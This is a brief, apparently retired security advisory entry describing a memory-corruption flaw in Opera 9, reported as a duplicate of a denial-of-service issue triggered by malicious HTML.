Opera Web Browser is prone to a memory-corruption vulnerability.
A remote attacker may trigger this issue by enticing a user to visit a malicious website.
This issue has been reported in Opera 9. Other versions may be vulnerable as well.
This BID has been retired because the vendor reported that this issue is a duplicate of BID 18585 (Opera Malicious HTML Processing Denial of Service Vulnerability).
